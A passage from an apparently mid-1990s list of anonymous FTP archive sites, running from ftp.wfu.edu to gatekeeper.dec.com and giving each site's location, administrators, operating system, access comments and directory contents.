ahn@hbar.phy.wfu.edu (Dave Ahn) +Alias : eis.wfunet.wfu.edu +Admin : ftp@wfu.edu, ac-help@wfu.edu (Noel Hunter) +Organ : Wake Forest University, Winston-Salem, North Carolina, + Academic Computing Center +Server : +System : Unix (HP-UX A.09.04 E 9000/806) +URL : ftp://ftp.wfu.edu/ +Comment: to access directories whose names begin with spaces, use "", like + in cd "directory name" or 'quote cwd directory name'; campus wide + information services are available from the gopher-data directory; + please note that some directories are for local use (mac, msdos) + and not accessible to anonymous users +Files : comp.unix.user-friendly FAQ; comp.sys.apollo FAQ; PH FAQ + +Site : ftp.wgs.com +Country: USA +GMT : -7 +Date : 25-Jan-95 +Source : mark@gcs.com (Mark Bolzern) +Alias : wgs.com, rainbow.rmii.com +Admin : mark@wgs.com (Mark Bolzern); ckp@rmii.com +Organ : WorkGroup Solutions, Inc, hosted by Rocky Mountain Internet Inc + RMII), Colorado Springs, Colorado +Server : +System : Unix (SCO Unix) +URL : ftp://ftp.wgs.com/ +Comment: sessions, commands and transfers are logged; pub directory + unavailable from 0700 to 1500 MST; pub2 available 24 hours a day; + Index of files is /pub2/wgs/Filelist +Files : FlagShip & CA-Clipper programming, and product information. Fox, + Dbase, and "C" also supported. FlagShip is a 4GL, with no Royalties + on code you create. It is a great prototyping language, yet strong + enough to create industrial strength applications. Integrates well + with "C" + +Site : ftp.whitehouse.gov +Country: USA +GMT : -5 +Date : 17-Feb-94 +Source : Perry.Rovers@kub.nl +Alias : whitehouse.gov +Admin : president@whitehouse.gov [just kidding ;-), it's probably root] +Organ : White House, Washington D.C., D.C. +Server : +System : Unix +URL : ftp://ftp.whitehouse.gov/ +Comment: look at the 'dirmap' files and read NEW-THISWEEK and NEW-TODAY +Files : political science; White House announcements + +Site : ftp.whnet.com +Country: USA +GMT : -8 +Date : 23-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : bolero.whnet.com +Admin : +Organ : WH Networks, Mountain View, California +Server : +System : Unix +URL : ftp://ftp.whnet.com/ +Comment: get the file /pub/BLURB to get subscription info about this system; + transfers are logged with your username and/or e-mailaddress; + user public directories in /pub +Files : anarch; aradmin; artemis; asher; babba; bats; bhc; bromgrev; + brywanw; conquest; canwise; dhesi; envisions; grafpoint; juxta; lp; + lumina; medianet; online access; rocknet; waffle; wolfgang (modem + related material: FAQs, docs etc); xalt + +Site : ftp.wkap.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : Perry.Rovers@kub.nl +Alias : wkvx1.wkap.nl +Admin : bremer@wkap.nl +Organ : Wolters Kluwer Academic Publishers, Dordrecht +Server : +System : VAX/VMS +URL : ftp://ftp.wkap.nl/ +Comment: default directory: FTP:[000000] +Files : books; catalogues; journals; software; styles + +Site : ftp.wku.edu +Country: USA +GMT : -6 +Date : 25-Jan-95 +Source : Perry.Rovers@kub.nl +Alias : beta.wku.edu +Admin : goathunter@wkuvx1.wku.edu (Hunter Goatley) +Organ : Western Kentucky University, Bowling Green, Kentucky +Server : +System : VAX/VMS (OpenVMS AXP, DEC Alpha) +URL : ftp://ftp.wku.edu/ +Comment: default directory: ANONYMOUS_ROOT:[000000] +Files : KISS (KISSARMY mailinglist: archive, faq, pictures); Madgoat; mx; + sickthings (pictures: misc .jpg files); VMS + (fileserv, freeware, unsupported); WKU (goathunter, moorepa) + +Site : ftp.wi.leidenuniv.nl +Country: Netherlands +GMT : +1 +Date : 29-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : hit.wi.leidenuniv.nl +Admin : APPARC: llexx@cs.leidenuniv.nl (Lex Wolters); CS theses: + boers@wi.leidenuniv.nl (Egbert Boers); audio: + dtauritz@wi.leidenuniv.nl (Daniel Tauritz) +Organ : Rijks Universiteit Leiden (University of Leiden), Leiden, + Math & CS dept. +Server : +System : Unix +URL : ftp://ftp.wi.leidenuniv.nl/ +Comment: +Files : apparc project deliverables/newsletters; cs theses (MSc + theses, PhD theses, tech-reports, student-reports); + stieltjes; audio (aria: demos, docs, drivers, players, + programming, upgrades, utils) + +Site : ftp.wimsey.bc.ca +Country: Canada +GMT : -7 +Date : 25-Jan-95 +Source : sirvine@waikato.ac.nz (Sean Irvine) +Alias : wolfe.wimsey.com, ftp.wimsey.com +Admin : +Organ : Wimsey Information Services, , British Columbia +Server : +System : Unix +URL : ftp://ftp.wimsey.bc.ca/ +Comment: transfers are logged; read READ.ME.FIRST +Files : Amiga; anima; anomaly; APS; archivists; astro; benchmarks; + big_dummy; BSD; ca-domain; chess; crypt; crypto; docs; e-mail; + essa; FAQs; folklore; ftptools; gemcom; generality; GNU; gopher; + graphics; hacker_crackdown; hayes; hyper; i386; InterNIC; Japan_no; + lang; libs; Linux; Lisp; Livingston; Lynx; Mac; mail; MOO; MS-DOS; + network; news; NIC; OS/2; parks; Perl; Photon_94; PPP; printing; + RFCs; SCO; SCOports; SCSI; security; SGI; spacechess; teco; tfic; + tgi; uneclip; Unix; Unixware; UUNet-info; UUPC; vpcus; WAIS; Wimsey; + Wimsey PD; X; Xenix; ZyXEL + +Site : ftp.win.tue.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : nl-ftp list as posted to nlnet.announce +Alias : svin02.info.win.tue.nl [all win.tue.nl hosts mount svin02 as ~/ftp] +Admin : ftp@win.tue.nl +Organ : Technische Universiteit Eindhoven (Eindhoven University of + Technology), Eindhoven, Math & CS dept. +Server : +System : Unix +URL : ftp://ftp.win.tue.nl/ +Comment: Archie compliant; gopher: ftp.win.tue.nl, port 70; + WWW: www.win.tue.nl, port 80; Wais: news.answers only through the + Gopher server; 450-500Mb; big downloads outside working hours + please; transfers are logged +Files : BSD net-1, net-2, network-tape, sources; compression; conferencing; + databases; doc; editors; games; GNU; hypernews; infosystems; + languages; Linux; Mac; mail; math.prog.construction; Minix; misc; + MS-DOS; networking; news; programming; psf; religion; security + tools (TCP wrapper); Sun; Sun-fixes; Sys V X86; tech-reports; TeX; + textproc; Unix; usenet; windowsys; X11R5; X11R4_386; XFree86 + +Site : ftp.wiwi.uni-marburg.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : ps024d.wiwi.uni-marburg.de +Admin : schwenke@wiwi.uni-marburg.de (Detlef Schwenke) +Organ : Universitaet Marburg (University of Marburg), Marburg +Server : +System : +URL : ftp://ftp.wiwi.uni-marburg.de/ +Comment: +Files : + +Site : ftp.cs.wright.edu +Country: USA +GMT : -5 +Date : 08-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : corcoran@valhalla.cs.wright.edu +Organ : Wright State University Dayton, Ohio, CS dept. +Server : +System : Unix +URL : ftp://ftp.cs.wright.edu/ +Comment: This is a limited use ftp server for specific items people + request. It is NOT an archive site [maybe I shouldn't be listing + it?] +Files : some utilities + +Site : ftp.wonderland.org +Country: UK +GMT : 0 +Date : 17-Jul-94 +Source : agate.berkeley.edu +Alias : alice.wonderland.org, wonderland.org +Admin : peter@wonderland.org +Organ : Wonderland +Server : +System : Unix +URL : ftp://ftp.wonderland.org/ +Comment: look for NetBSD on ftp.demon.co.uk +Files : Wine + +Site : ftp.wordperfect.com +Country: USA +GMT : -6 +Date : 16-Feb-94 +Source : MODERxx.ZIP; Perry.Rovers@kub.nl +Alias : +Admin : weston@wordperfect.com (primary moderator), lynda@wordperfect.com, + lynnc@wordperfect.com (assistants) +Organ : WordPerfect Corp., Orem, Utah +Server : +System : Netware 3.11 (PC fileserver) +URL : ftp://ftp.wordperfect.com/ +Comment: product information, file updates etc. for WordPerfect products +Files : Infoshar; MS-DOS; MS-Windows; OS/2; WP Corp; WP jobs; + +Site : ftp.world.net +Country: USA +GMT : -8 +Date : 22-May-94 +Source : dlist@ora.com; Archive-name: games/roguelike +Alias : pdx1.world.net +Admin : nabil@world.net +Organ : Internetworks Inc. Worldnet, , Oregon +Server : +System : Unix +URL : ftp://ftp.world.net/ +Comment: requires valid e-mailaddress +Files : Crossfire (Roguelike game); Nethack; mirrors: ftp.ifi.uio.no, + ftp.ruf.uni-freiburg.de; news; soc.religion.eastern; tools; + World info; zcat + +Site : ftp.worms.fh-rpl.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : nibelung.worms.fh-rpl.de +Admin : ftpadmin@nibelung.worms.fh-rpl.de +Organ : Fachhochschule , Worms +Server : +System : +URL : ftp://ftp.worms.fh-rpl.de/ +Comment: +Files : + +Site : ftp.wri.com +Country: USA +GMT : -5 +Date : 16-Feb-94 +Source : ftp.tu-chemnitz.de +Alias : fiji.wri.com +Admin : ms-admin@wri.com (MathSource Administrator) +Organ : WRI +Server : +System : Unix +URL : ftp://ftp.wri.com/ +Comment: MathSource: the electronic resource for Mathematica materials; + transfers are logged; items are numbered, see /pub/Numbered/Items +Files : Everything you always wanted to find for Mathematica but were afraid + to look for + +Site : ftp.wsrcc.com +Country: USA +GMT : -8 +Date : 24-Jul-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : root@wsrcc.com +Organ : WSRCC +Server : +System : Unix +URL : ftp://ftp.wsrcc.com/ +Comment: +Files : SNMP; SNMPmon; traceroute + +Site : ftp.wsu.edu +Country: USA +GMT : -8 +Date : 19-Feb-95 +Source : Perry.Rovers@kub.nl +Alias : cheetah.wsu.edu +Admin : ftp-admin@ftp.wsu.edu +Organ : Washington State University, , Washington, Information Technology +Server : gopher +System : Unix (OSF/1) +URL : ftp://ftp.wsu.edu/ +Comment: +Files : chem; Helpdesk info (cms, mac, net, pc, phone, unix, vax); IT docs + (IT Today, Mac, PC); Mac (Eudora, misc. network software, Mosaic); mandarin; molbio; MS-Windows (mailers : Eudora, winsock, www: serweb); + TeX (advanced TeX course, hyphenation, text1, wsuipa); VAX (kermit ini) + +Site : ftp.wpi.edu +Country: USA +GMT : -5 +Date : 25-Jan-95 +Source : wpi.wpi.edu +Alias : +Admin : +Organ : +Server : +System : Unix +URL : ftp://ftp.wpi.edu/ +Comment: supposed successor of wpi.wpi.edu but Problem: Timeout +Files : + +Site : ftp.wtza-berlin.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : cns-fddi.wtza-berlin.de, cns.wtza-berlin.de, titan.wtza-berlin.de +Admin : root@cns.wtza-berlin.de +Organ : , Berlin +Server : +System : +URL : ftp://ftp.wtza-berlin.de/ +Comment: +Files : GNU; multimedia; networking; PC; Sun; TeX; Windows 3; X11 + +Site : ftp.wwa.com +Country: USA +GMT : -6 +Date : 29-Oct-94 +Source : boba@wwa.com (Bob Allison) {posting} +Alias : +Admin : +Organ : WorldWide Access, , Illinois +Server : +System : Unix +URL : ftp://ftp.wwa.com/ +Comment: +Files : ASCII Art (rec.arts.ascii: /pub/Scarecrow) + +Site : ftp.x.org +Country: USA +GMT : -5 +Date : 10-Dec-94 +Source : admin; old ftp-list +Alias : export.x.org, export.lcs.mit.edu, public.x.org +Admin : ftp@x.org +Organ : X Consortium, Cambridge, Massachusetts +Server : http://www.x.org/ +System : Unix +URL : ftp://ftp.x.org/ +Comment: successor of expo.lcs.mit.edu; open 24 hours; activity is logged; + server can (de)compress, g(un)zip and tar on the fly; max. 90 users; + is mirrored around the world +Files : X Window System official site: X11R4, X11R5, X11R6, much X related + software: AF, AUIS, CLX, Fresco, NAS, PEX, Tcl, XPM + +Site : ftp.xenitec.on.ca +Country: Canada +GMT : -5 +Date : 25-Jan-95 +Source : belal@sco.com (Bela Lubkin> {posting} +Alias : xenitec.xenitec.on.ca, xenitec.on.ca +Admin : arcmaster@xenitec.on.ca +Organ : XeniTec, , Ontario +Server : http://www.xenitec.on.ca/ +System : Unix +URL : ftp://ftp.xenitec.on.ca/ +Comment: transfers are logged +Files : bbs; binaries; cnews (cnews, trn); dmd; doc; DOS; editors; games; + GNU; iscreen; jargon; lib; mac; mail; maps (from cs.toronto.edu); + maps-ps; mkid2; mmdf43; MS-DOS; mush; network; news (biz.sco + archive); pathalias; pcomm; perl4; PGP; pixutils; protocols; + rn; SCO; server; services; shells; smail3; spaceimg; startrek; TeX; + u386mon; util; uucp util; Windows3; X; Xenix + +Site : ftp.xfree86.org +Country: USA +GMT : -5 +Date : 10-Dec-94 +Source : gildea@x.org (Stephen Gildea); Perry.Rovers@kub.nl +Alias : public.xfree86.org +Admin : xf86admin@xfree86.org +Organ : XFree86 Project +Server : +System : Unix +URL : ftp://ftp.xfree86.org/ +Comment: server can tar, compress and gzip; check mirrors to optimze network + bandwidth allocation: xfree86.cdrom.com, ref.tfs.com, ftp.bsdi.com, + ftp.iastate.edu, tsx-11.mit.edu, ref.tfs.com, ftp.eecs.umich.edu, + sunsite.unc.edu, abode.ccd.bnl.gov, x.physics.su.oz.au, ftp.gwdg.de, + ftp.fee.vutbr.cz, ftp.uni-mannheim.de, ftp.uni-stuttgart.de, + orgchem.weizmann.ac.il, ftp.unipi.it, ftp.iij.ad.jp, ftp.laas.fr, + nova.pvv.unit.no, sprocket.ict.pwr.wroc.pl, ftp.nectec.or.th, + ftp.demon.co.uk, ftp.edu.tw, ftp.funet.fi; [this is NOT ftp.x.org] +Files : XFree 86 offical site + +Site : ftp.xlink.net +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : xlink1.xlink.net +Admin : ftpadm@xlink.net +Organ : XLink, Karlruhe +Server : +System : +URL : ftp://ftp.xlink.net/ +Comment: +Files : + +Site : ftp.xor.com +Country: USA +GMT : -7 +Date : 21-Dec-94 +Source : admin +Alias : plaza.xor.com, ftp.rmiug.org, xor.com, chimchim.xor.com, + ftp.coop.net +Admin : suppport@xor.com +Organ : XOR Network engineering, Boulder, Colorado +Server : http://www.rmiug.org/ +System : Unix +URL : ftp://ftp.xor.com/ +Comment: actions are logged; Rocky Mountain Internet User Group; Colorado + Internet Cooperative Association +Files : addhost; adduser; coop; gworekkana; mail-list-archives + (gworek-list); midi (tclmidi); rmiug; slip; trent (cu-sudo) + +Site : ftp.yggdrasil.com +Country: USA +GMT : -8 +Date : 22-May-94 +Source : posting by info@yggdrasil.com in comp.os.linux.announce +Alias : yggdrasil.com +Admin : +Organ : Yggdrasil Computing, San Jose, California +Server : +System : Unix +URL : ftp://ftp.yggdrasil.com/ +Comment: +Files : NNTPscan; pictures; Yggdrasil related files (Linux-CD: + announcements, boot-floppies, bug-reports, newsletters, + resellers, support) + +Site : ftp.york.ac.uk +Country: UK +GMT : 0 +Date : 10-Sep-94 +Source : sgi/anonftp/list; Perry.Rovers@kub.nl +Alias : castle.york.ac.uk +Admin : +Organ : University of York, York +Server : +System : Unix +URL : ftp://ftp.york.ac.uk/ +Comment: +Files : distrib; GIS; Mac; PC; PC NFS; suit; uniras; Unix + +Site : ftp.yorku.ca +Country: Canada +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : deadtech.ccs.yorku.ca, ns.nic.yorku.ca +Admin : +Organ : York University, Toronto, Ontario +Server : +System : Unix (Ultrix 4.1) +URL : ftp://ftp.yorku.ca/ +Comment: +Files : + +Site : ftp.zam.kfa-juelich.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : zam103.zam.kfa-juelich.de +Admin : +Organ : , Juelich +Server : +System : Unix (Ultrix 4.1) +URL : ftp://ftp.zam.kfa-juelich.de/ +Comment: +Files : antivirus utilities; ftp-info; graphics; HP UX; MS-DOS; Tex + +Site : ftp.zdbop.ziff.com +Country: USA +GMT : -5 +Date : 25-Jan-95 +Source : hlee@spectra.eng.hawaii.edu (Henry Lee) +Alias : ftp.pcweek.ziff.com, ftp.pcmag.ziff.com, zcias3.ziff.com +Admin : ftpmaster@ziff.com +Organ : Ziff-Davis Publishing +Server : +System : Unix +URL : ftp://ftp.zdbop.ziff.com +Comment: max. 100 users; programs from the magazines listed (benchmarks etc.) +Files : Cshopper (archive); MacUser (Macbench); PC Comp; PC Magazine + (IssueArchives, music, share, special, utilities); PC Week (fdv); + Windows Sources; ZDbop: MacBench, NetBench, PC Bench, SvrBench + (Netware 3.1x, SCO 4.0, Windows NT 3.5), WinBench, Winstone; Zmac + +Site : ftp.zems.etf.hr +Country: Croatia +GMT : +1 +Date : 13-Aug-94 +Source : mviljac@zems.etf.hr (Mario Viljac) +Alias : maja.zems.etf.hr +Admin : +Organ : University of Zagreb, Zagreb, EE dept, Systems and Signals dept. +Server : +System : Unix +URL : ftp://ftp.zems.etf.hr/ +Comment: this archives is intended for students and faculty of the + University; max. 10 users +Files : documents (papers); nastava (Sun, Ultrix); pc (4DOS, antivirus, + audio, editors, modem, networks, viewers, xserver); tools (audio, + bootp, editors, games, gopher, imap, Linux, mpeg, POP, RPC, + security, slip, UUCP, video); WWW, X11 + +Site : ftp.zib-berlin.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-server List +Alias : serv03.zib-berlin.de, elib.zib-berlin.de +Admin : ftp-adm@zib-berlin.de +Organ : Konrad Zuse Zentrum fuer Informationstechnik (Konrad Zuse Center + for Informationtechnology), Berlin +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.zib-berlin.de/ +Comment: max. 20 users; compress on the fly is possible +Files : code++; elib; FPS; games-index; Kant; kaskade; mathprog; + mp-testdata; netlib of AT&T; opt-net; pari; Powerseries; redlib; + reduce; reduce; symcon; visual; ZIB electronic library and + publications + +Site : ftp.ziff.com +Country: USA +GMT : -5 +Date : 31-May-94 +Source : Perry.Rovers@kub.nl +Alias : zcias1.ziff.com +Admin : +Organ : Ziff Publishing +Server : +System : VAX/VMS running MultiNet +URL : ftp://ftp.ziff.com/ +Comment: default directory: DISK$USER:[ANONYMOUS_FTP]; appears to be empty +Files : uspresvb.zip + +Site : ftp.zilker.net +Country: USA +GMT : +Date : 13-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : oak.zilker.net, www.zilker.net, gopher.zilker.net +Admin : +Organ : Zilker +Server : www.zilker.net, gopher.zilker.net +System : Unix (SunOS 4.1) +URL : ftp://ftp.zilker.net/ +Comment: +Files : conferences; ddv; efh; eff-austin; ics; lwb; mgames; oi; philips; + radchem; talk; ur + +Site : ftp.zoo.toronto.edu +Country: Canada +GMT : -5 +Date : 15-Dec-94 +Source : faq-maintainers list +Alias : zoo.toronto.edu +Admin : +Organ : University of Toronto, Toronto, Ontario +Server : +System : Unix +URL : ftp://ftp.zoo.toronto.edu/ +Comment: mostly stuff from Henry Spencer +Files : awf (nroff clone in awk); C News (current); news (son-of-RFC1036 + draft); random; regex (regular expressions package); templates + for C programs + +Site : ftp.zrz.tu-berlin.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : server00.zrz.tu-berlin.de, files1zrz.zrz.tu-berlin.de +Admin : root@server00.zrz.tu-berlin.de, guelker@zrz.tu-berlin.de (R.Guelker) +Organ : Technische Universitaet Berlin (Berlin University of Technology), + Berlin, CC +Server : +System : +URL : ftp://ftp.zrz.tu-berlin.de/ +Comment: +Files : BITNET; ccitt; dfn; GNU; Internet; IRC; ISO; mail; newsreaders; + PC; RFCs; TeX; Unix; UUCP; wotan; X11R5 + +Site : ftp-ns.rutgers.edu +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : old ftp-list +Alias : dorm.rutgers.edu +Admin : +Organ : Rutgers University, Piscataway, New Jersey +Server : +System : Unix +URL : ftp://ftp-ns.rutgers.edu/ +Comment: +Files : DNP-dist; DOS_Uncompress; hamradio; Internet docs; jargon; Mac; + MS-DOS; Novell; POPmail; Unix + +Site : ftp-sun.polytechnique.fr +Country: France +GMT : +1 +Date : 22-May-94 +Source : ftp-france-liste +Alias : rimbaud.polytechnique.fr +Admin : dib@rimbaud.polytechnique.fr +Organ : Polytechnique, Centre Informatique +Server : +System : Unix (SunOS 4.1.2, Sparcserver 630MP) +URL : ftp://ftp-sun.polytechnique.fr/ +Comment: Open 24 hours; XMosaic in /pub/binaries, xftp in /pub/binaries/sun4 +Files : binaries; docs; FAQs (separate and by newsgroup); sources + +Site : ftp2.cc.ukans.edu +Country: USA +GMT : -6 +Date : 24-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : ukanaix.cc.ukans.edu +Admin : +Organ : University of Kansas, , Kansas +Server : +System : Unix (IBM AIX) +URL : ftp://ftp2.cc.ukans.edu/ +Comment: +Files : business; caveat; chemistry; history; hmatrix; ippbr; Windows; + WWW (Lynx etc., mirrored on www.jsc.nasa.gov) + +Site : ftp2.uml.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : oneill@cs.uml.edu (Brian 'Doc' O'Neill) {posting} +Alias : hermes.uml.edu +Admin : oneill@cs.uml.edu +Organ : University of Massachusetts, Lowell, Massachusetts +Server : +System : Unix +URL : ftp://ftp2.uml.edu/ +Comment: max. 50 users +Files : mirror of the msdos directory at ftp.uml.edu (DOS demo's and games) + +Site : ftpboi.external.hp.com +Country: USA +GMT : +Date : 19-Apr-94 +Source : sserb@vnet.ibm.com (Sorin Serb) +Alias : ftp-boi.external.hp.com +Admin : ftplib@ftpboi.external.hp.com +Organ : Hewlett-Packard +Server : +System : Unix +URL : ftp://ftpboi.external.hp.com/ +Comment: +Files : International drivers for HP products; Printerdrivers; Scanjet; + SNMPmib + +Site : ftphost.aukuni.ac.nz +Country: New Zealand +GMT : +12 +Date : 23-Aug-94 +Source : old ftp-list +Alias : ccu1.aukuni.ac.nz +Admin : rj.fulton@auckland.ac.nz (Russel Fulton) +Organ : Auckland University, Auckland, CC +Server : +System : Unix +URL : ftp://ftphost.aukuni.ac.nz/ +Comment: Non-New Zealand users, please use local archives; only architec + and iawg directories are not mirrors; access denied during peak + hours (09:00-20:00 local time) +Files : Mac graphic apps; U.S. mirrors for local use only; 3D modelling + software; Internet Accounting Work Group material + +Site : ftpipr.ira.uka.de +Country: Germany +GMT : +1 +Date : 04-Aug-1994 +Source : kaiser@ira.uka.de (Michael Kaiser) +Alias : +Admin : kaiser@ira.uka.de (Michael Kaiser) +Organ : Universitaet Karlsruhe (University of Karlsruhe), Karlsruhe, + Institute for Real-Time Computer Systems & Robotics +Server : +System : Unix (Sun Sparcstation ELC, Sun OS 4.1.2) +URL : ftp://ftpipr.ira.uka.de/ +Comment: transfers are logged; please use outside of business hours +Files : Publications (Conference papers, Journal papers) written by + Institute Members, Topics: Robotics, factory automation, + Machine Learning, Parallel Processing + +Site : ftpover.vuw.ac.nz +Country: New Zealand +GMT : +12 +Date : 17-Jul-94 +Source : old ftp-list +Alias : akeake.its.vuw.ac.nz +Admin : +Organ : Victoria University of Wellington, Wellington +Server : +System : Unix +URL : ftp://ftpover.vuw.ac.nz/ +Comment: rata.vuw.ac.nz has been removed as an alias, that's a different + machine that has no pub directory, it has some things perhaps, but + until someone reports it has something useful, I'm not listing it +Files : Astrophysics archive (evolution, gaspani, gensys, ilot, images, + light2, micros, SL9, TeX, w-d, wink, wuma4, yale; Mac (Thumbprint); + RoboDoc; virus; VUW (library, eudora) + +Site : ftpserv.interlan.com +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : postmaster@interlan.interlan.com +Organ : Racal Datacom +Server : +System : PC/TCP FTP server +URL : ftp://ftpserv.interlan.com/ +Comment: Open 24 hours +Files : Racal Datacom drivers, software, and MIBs + +Site : funet.fi +Country: Finland +GMT : +2 +Date : 06-Jan-94 +Source : old ftp-list +Alias : etana.funet.fi +Admin : +Organ : Finland Research Network +Server : +System : Unix (SunOS 4.1) +URL : ftp://funet.fi/ +Comment: +Files : Funet/Nordunet info + +Site : furmint.nectar.cs.cmu.edu +Country: USA +GMT : -5 +Date : 29-Oct-94 +Source : cate3.OSBU_North@xerox.com (Henry Cate) +Alias : +Admin : vac@furmint.nectar.cs.cmu.edu (Vincent Cate) [I think] +Organ : Carnegie-Mellon University, Pittsburgh, Pennsylvania, CS dept. +Server : +System : Unix +URL : ftp://furmint.nectar.cs.cmu.edu/ +Comment: +Files : alex-servers-mail; attic; chimphuman.mail; flotilla; icons; jokes + (Life) in Xerox Development Environment (XDE) format; + perpetual-traveler; security; space-companies; space-investors.mail; + stereograms; WWW + +Site : futique.scs.unr.edu +Country: USA +GMT : -7 +Date : 12-Feb-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : University of Nevada - Reno, Reno, Nevada +Server : +System : NeXTStep (NeXt 1.0) +URL : ftp://futique.scs.unr.edu/ +Comment: +Files : Veronica (code, data, docs) + +Site : gaitlab1.uwaterloo.ca +Country: Canada +GMT : -5 +Date : 29-Sep-94 +Source : psawatzk@uoguelph.ca (Peter Sawatzky) {posting} +Alias : +Admin : +Organ : University of Waterloo, Waterloo +Server : +System : Unix +URL : ftp://gaitlab1.uwaterloo.ca/ +Comment: +Files : electronic circuit references, design, software etc.; em; foryou; + games; misc + +Site : gal4.ge.uiuc.edu +Country: USA +GMT : -6 +Date : 17-Apr-94 +Source : +Alias : +Admin : +Organ : University of Illinois - Urbana/Champaign, Urbana, Illinois +Server : +System : Unix +URL : ftp://gal4.ge.uiuc.edu/ +Comment: +Files : misc; papers; src + +Site : galaxy.uci.agh.edu.pl +Country: Poland +GMT : +1 +Date : 15-May-94 +Source : +Alias : +Admin : js@galaxy.uci.agh.edu.pl +Organ : Akademia Gorniczo-Hutnicza, Krakow +Server : +System : Unix +URL : ftp://galaxy.uci.agh.edu.pl/ +Comment: Polish text; some CD-ROMs mounted (Simtel) +Files : archiving; BSD; docs; e-press; GIFs (lots, including Tolkien and + fine-art, partly mirror of ftp.funet.fi); GNU; Linux; MS-DOS; + network; Novell; papers; pigulki; security; TeX; + Unix-professionals; X11R5 + +Site : galba.mbfys.kun.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : patrick@mbfys.kun.nl (Patrick van der Smagt), + postmaster@mbfys.kun.nl +Organ : Katholieke Universiteit Nijmegen (Nijmegen University), Nijmegen, + Med. & Bio. Physics dept. +Server : +System : Unix +URL : ftp://galba.mbfys.kun.nl/ +Comment: max. 8 users; restrict bulk ftping weekdays to non-prime hours, + 18:00-08:00 MET; all actions are logged +Files : neuro-intro; neuro-software; reports; TeX; transit + +Site : garbo.uwasa.fi +Country: Finland +GMT : +2 +Date : 10-Sep-94 +Source : MODERxx.ZIP; old ftp-list +Alias : Garbo; +Admin : ts@uwasa.fi (Timo Salmi: MS-DOS, Publicity), ajh@uwasa.fi + (Ari Hovila: Garbo sysadmin, Freeport BBS, MS-DOS, MS-Windows), + te@uwasa.fi (Tuomas Eerola: Mac), hh@chyde.uwasa.fi (Hannu + Hirvonen: postmaster, Unix, VMS) +Organ : University of Vaasa, Vaasa +Server : +System : Unix +URL : ftp://garbo.uwasa.fi/ +Comment: Overseas users, use local mirrors; max. 100 users; read + /pc/UPLOAD.INF before uploading: .zip files only and e-mail + to the appropriate address: mac-up@uwasa.fi, pc-up@uwasa.fi, + ql-up@uwasa.fi, unix-up@uwasa.fi, win-up@uwasa.fi; actions are + logged; use valid e-mail addresses! +Files : ftp-list; Mac; MODERxx.ZIP; MS-DOS; MS-Windows 3; QL (Sinclair); + sounds (incl. Ultrasound mirror); TS-progs; Unix; Turbo Pascal; + Unix; VMS + +Site : garlic.mwc.edu +Country: USA +GMT : +Date : 24-Jan-95 +Source : +Alias : +Admin : +Organ : Mary Washington College +Server : +System : Unix +URL : ftp://garlic.mwc.edu/ +Comment: +Files : HP docs; Internet guides, info (compression, email, encryption, ftp, + gopher, hytelnet, interest groups, nettrain, netiquette, nptn, + privacy, telnet, Usenet, WAIS); networking tools & docs in /pub; + X; Zips + +Site : gate.gnu.ai.mit.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : Perry.Rovers@kub.nl (info from other .ai.mit.edu sites) +Alias : hill.gnu.ai.mit.edu +Admin : +Organ : Massachusetts Institute of Technology, Cambridge, Massachusetts, + AI Lab. +Server : +System : Unix +URL : ftp://gate.gnu.ai.mit.edu/ +Comment: gate site for accessing other gnu.ai.mit.edu sites apparently + it does accept anonymous ftp however +Files : nothing, and I mean nothing! [as far as I can see, this one will + be removed if no one finds something there] + +Site : gated.cornell.edu +Country: USA +GMT : -5 +Date : 30-Oct-94 +Source : gnguyen@uclink2.berkeley.edu (George Binh Hiep Nguyen) {posting} +Alias : comet.cit.cornell.edu +Admin : +Organ : Cornell University, Ithaca, New York +Server : gopher +System : Unix +URL : ftp://gated.cornell.edu/ +Comment: +Files : antique-tractor; CU-SeeMe (/pub/video); gated; html; idrp; lists; + mospf; multicast; ospf; PC; pc_tn; RFCs; road; std; tools; + vc-routing; wx + +Site : gatekeeper.dec.com +Country: USA +GMT : -8 +Date : 14-Dec-94 +Source : old ftp-list; scaramuzzo@kali.enet.dec.com {posting} +Alias : gatekeeper.pa.dec.com, ftp.digital.com +Admin : gw-archives@pa.dec.com +Organ : Digital Equipment Corp - Palo Alto, Palo Alto, California +Server : ftpmail@decwrl.dec.com [not really on this machine, but its + DEC's ftpmail server] +System : Unix (4.3BSD) +URL : ftp://gatekeeper.dec.com/ +Comment: Open 24 hours; a nice motd (message of the day) with Export + Control Codes; some extended commands (discussed in motd); + logging in from VAX/VMS systems with UCX version before 2.0 + gives some problems: login from the ftp prompt, not automatically + (this happened to me before we upgraded with a number of sites, + so upgrade your UCX if you can, ask your system administrator + for more info); [accessible through the WWW?] +Files : Alpha; Athena; BSD (386BSd and NetBSD, used to mirror + agate.berkeley.edu); case; Cica (ftp.cica.indiana.edu) mirror; comm; + conferences; database; DEC; Digital; docs; editors; forums; games; + GNU; graphics; Larry Wall stuff; Mach; mail; maps; micro; misc; + multimedia; net; NetScape; news; NIST; plan; published; recipes; sf; + Standards; sysadm; 